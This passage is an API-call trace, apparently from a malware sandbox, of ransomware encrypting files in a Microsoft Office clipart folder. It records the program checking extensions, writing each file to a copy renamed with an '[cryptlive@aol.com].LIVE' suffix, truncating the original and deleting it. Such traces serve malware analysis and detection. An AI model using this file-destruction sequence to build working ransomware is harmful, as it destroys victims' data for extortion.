returned -1 [0142.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 63 [0142.083] lstrlenW (lpString=".1cd") returned 4 [0142.084] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0142.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 63 [0142.084] lstrlenW (lpString=".jpg") returned 4 [0142.084] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0142.084] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0142.084] lstrlenW (lpString="ED00172_.WMF") returned 12 [0142.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00172_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0142.084] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=2700) returned 1 [0142.084] CloseHandle (hObject=0x3a8) returned 1 [0142.084] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00172_.wmf")) returned 0x20 [0142.084] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00172_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0142.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0142.085] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.085] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00172_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0142.085] GetLastError () returned 0x0 [0142.085] ReadFile (in: hFile=0x3a8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0xa8c, lpOverlapped=0x0) returned 1 [0142.089] WriteFile (in: hFile=0x39c, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xa90, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xa90, lpOverlapped=0x0) returned 1 [0142.090] ReadFile (in: hFile=0x3a8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0142.090] WriteFile (in: hFile=0x39c, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0142.090] SetEndOfFile (hFile=0x39c) returned 1 [0142.090] CloseHandle (hObject=0x39c) returned 1 [0142.091] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.091] SetEndOfFile (hFile=0x3a8) returned 1 [0142.093] CloseHandle (hObject=0x3a8) returned 1 [0142.093] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0142.093] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00172_.wmf")) returned 1 [0142.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 63 [0142.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 63 [0142.096] lstrlenW (lpString=".doc") returned 4 [0142.096] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0142.096] lstrlenW (lpString=".docx") returned 5 [0142.096] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0142.096] lstrlenW (lpString=".pdf") returned 4 [0142.096] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0142.096] lstrlenW (lpString=".xls") returned 4 [0142.096] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0142.097] lstrlenW (lpString=".xlsx") returned 5 [0142.097] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0142.097] lstrlenW (lpString=".ppt") returned 4 [0142.097] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0142.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 63 [0142.097] lstrlenW (lpString=".zip") returned 4 [0142.097] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0142.097] lstrlenW (lpString=".rar") returned 4 [0142.097] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0142.097] lstrlenW (lpString=".bz2") returned 4 [0142.097] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0142.097] lstrlenW (lpString=".7z") returned 3 [0142.097] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0142.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 63 [0142.097] lstrlenW (lpString=".dbf") returned 4 [0142.097] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0142.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 63 [0142.097] lstrlenW (lpString=".1cd") returned 4 [0142.097] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0142.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 63 [0142.097] lstrlenW (lpString=".jpg") returned 4 [0142.097] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0142.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 63 [0142.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 63 [0142.097] lstrlenW (lpString=".doc") returned 4 [0142.097] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0142.097] lstrlenW (lpString=".docx") returned 5 [0142.097] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0142.097] lstrlenW (lpString=".pdf") returned 4 [0142.097] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0142.097] lstrlenW (lpString=".xls") returned 4 [0142.097] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0142.097] lstrlenW (lpString=".xlsx") returned 5 [0142.097] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0142.097] lstrlenW (lpString=".ppt") returned 4 [0142.097] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0142.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 63 [0142.098] lstrlenW (lpString=".zip") returned 4 [0142.098] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0142.098] lstrlenW (lpString=".rar") returned 4 [0142.098] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0142.098] lstrlenW (lpString=".bz2") returned 4 [0142.098] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0142.098] lstrlenW (lpString=".7z") returned 3 [0142.098] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0142.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 63 [0142.098] lstrlenW (lpString=".dbf") returned 4 [0142.098] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0142.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 63 [0142.098] lstrlenW (lpString=".1cd") returned 4 [0142.098] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0142.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 63 [0142.098] lstrlenW (lpString=".jpg") returned 4 [0142.098] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0142.098] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0142.098] lstrlenW (lpString="ED00184_.WMF") returned 12 [0142.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00184_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0142.099] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=6958) returned 1 [0142.099] CloseHandle (hObject=0x3a8) returned 1 [0142.099] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00184_.wmf")) returned 0x20 [0142.099] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00184_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0142.099] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0142.099] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.099] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.099] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00184_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0142.100] GetLastError () returned 0x0 [0142.100] ReadFile (in: hFile=0x3a8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x1b2e, lpOverlapped=0x0) returned 1 [0142.101] WriteFile (in: hFile=0x39c, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x1b30, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x1b30, lpOverlapped=0x0) returned 1 [0142.102] ReadFile (in: hFile=0x3a8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0142.102] WriteFile (in: hFile=0x39c, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0142.102] SetEndOfFile (hFile=0x39c) returned 1 [0142.102] CloseHandle (hObject=0x39c) returned 1 [0142.103] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.103] SetEndOfFile (hFile=0x3a8) returned 1 [0142.106] CloseHandle (hObject=0x3a8) returned 1 [0142.107] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0142.107] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00184_.wmf")) returned 1 [0142.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 63 [0142.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 63 [0142.107] lstrlenW (lpString=".doc") returned 4 [0142.107] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0142.107] lstrlenW (lpString=".docx") returned 5 [0142.107] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0142.107] lstrlenW (lpString=".pdf") returned 4 [0142.107] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0142.107] lstrlenW (lpString=".xls") returned 4 [0142.107] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0142.108] lstrlenW (lpString=".xlsx") returned 5 [0142.108] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0142.108] lstrlenW (lpString=".ppt") returned 4 [0142.108] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0142.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 63 [0142.108] lstrlenW (lpString=".zip") returned 4 [0142.108] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0142.108] lstrlenW (lpString=".rar") returned 4 [0142.108] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0142.108] lstrlenW (lpString=".bz2") returned 4 [0142.108] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0142.108] lstrlenW (lpString=".7z") returned 3 [0142.108] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0142.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 63 [0142.108] lstrlenW (lpString=".dbf") returned 4 [0142.108] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0142.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 63 [0142.108] lstrlenW (lpString=".1cd") returned 4 [0142.108] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0142.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 63 [0142.108] lstrlenW (lpString=".jpg") returned 4 [0142.108] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0142.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 63 [0142.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 63 [0142.108] lstrlenW (lpString=".doc") returned 4 [0142.108] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0142.108] lstrlenW (lpString=".docx") returned 5 [0142.108] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0142.108] lstrlenW (lpString=".pdf") returned 4 [0142.108] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0142.108] lstrlenW (lpString=".xls") returned 4 [0142.108] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0142.108] lstrlenW (lpString=".xlsx") returned 5 [0142.108] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0142.108] lstrlenW (lpString=".ppt") returned 4 [0142.108] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0142.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 63 [0142.109] lstrlenW (lpString=".zip") returned 4 [0142.109] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0142.109] lstrlenW (lpString=".rar") returned 4 [0142.109] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0142.109] lstrlenW (lpString=".bz2") returned 4 [0142.109] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0142.109] lstrlenW (lpString=".7z") returned 3 [0142.109] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0142.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 63 [0142.109] lstrlenW (lpString=".dbf") returned 4 [0142.109] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0142.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 63 [0142.109] lstrlenW (lpString=".1cd") returned 4 [0142.109] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0142.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 63 [0142.109] lstrlenW (lpString=".jpg") returned 4 [0142.109] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0142.109] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0142.109] lstrlenW (lpString="EN00006_.WMF") returned 12 [0142.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00006_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0142.110] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=13936) returned 1 [0142.110] CloseHandle (hObject=0x3a8) returned 1 [0142.110] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00006_.wmf")) returned 0x20 [0142.111] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00006_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0142.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00006_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0142.111] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.111] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00006_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0142.112] GetLastError () returned 0x0 [0142.112] ReadFile (in: hFile=0x3a8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x3670, lpOverlapped=0x0) returned 1 [0142.140] WriteFile (in: hFile=0x39c, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x3680, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x3680, lpOverlapped=0x0) returned 1 [0142.142] ReadFile (in: hFile=0x3a8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0142.142] WriteFile (in: hFile=0x39c, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0142.142] SetEndOfFile (hFile=0x39c) returned 1 [0142.142] CloseHandle (hObject=0x39c) returned 1 [0142.142] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.142] SetEndOfFile (hFile=0x3a8) returned 1 [0142.145] CloseHandle (hObject=0x3a8) returned 1 [0142.145] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0142.165] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00006_.wmf")) returned 1 [0142.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 63 [0142.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 63 [0142.166] lstrlenW (lpString=".doc") returned 4 [0142.166] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0142.166] lstrlenW (lpString=".docx") returned 5 [0142.166] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0142.166] lstrlenW (lpString=".pdf") returned 4 [0142.166] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0142.166] lstrlenW (lpString=".xls") returned 4 [0142.166] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0142.166] lstrlenW (lpString=".xlsx") returned 5 [0142.166] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0142.166] lstrlenW (lpString=".ppt") returned 4 [0142.166] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0142.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 63 [0142.166] lstrlenW (lpString=".zip") returned 4 [0142.166] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0142.166] lstrlenW (lpString=".rar") returned 4 [0142.166] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0142.166] lstrlenW (lpString=".bz2") returned 4 [0142.166] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0142.166] lstrlenW (lpString=".7z") returned 3 [0142.166] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0142.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 63 [0142.166] lstrlenW (lpString=".dbf") returned 4 [0142.166] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0142.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 63 [0142.166] lstrlenW (lpString=".1cd") returned 4 [0142.166] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0142.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 63 [0142.167] lstrlenW (lpString=".jpg") returned 4 [0142.167] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0142.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 63 [0142.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 63 [0142.167] lstrlenW (lpString=".doc") returned 4 [0142.167] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0142.167] lstrlenW (lpString=".docx") returned 5 [0142.167] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0142.167] lstrlenW (lpString=".pdf") returned 4 [0142.167] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0142.167] lstrlenW (lpString=".xls") returned 4 [0142.167] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0142.167] lstrlenW (lpString=".xlsx") returned 5 [0142.167] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0142.167] lstrlenW (lpString=".ppt") returned 4 [0142.167] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0142.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 63 [0142.167] lstrlenW (lpString=".zip") returned 4 [0142.167] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0142.167] lstrlenW (lpString=".rar") returned 4 [0142.167] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0142.167] lstrlenW (lpString=".bz2") returned 4 [0142.167] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0142.167] lstrlenW (lpString=".7z") returned 3 [0142.167] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0142.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 63 [0142.167] lstrlenW (lpString=".dbf") returned 4 [0142.167] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0142.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 63 [0142.167] lstrlenW (lpString=".1cd") returned 4 [0142.167] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0142.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 63 [0142.167] lstrlenW (lpString=".jpg") returned 4 [0142.167] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0142.168] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0142.168] lstrlenW (lpString="EN00242_.WMF") returned 12 [0142.168] 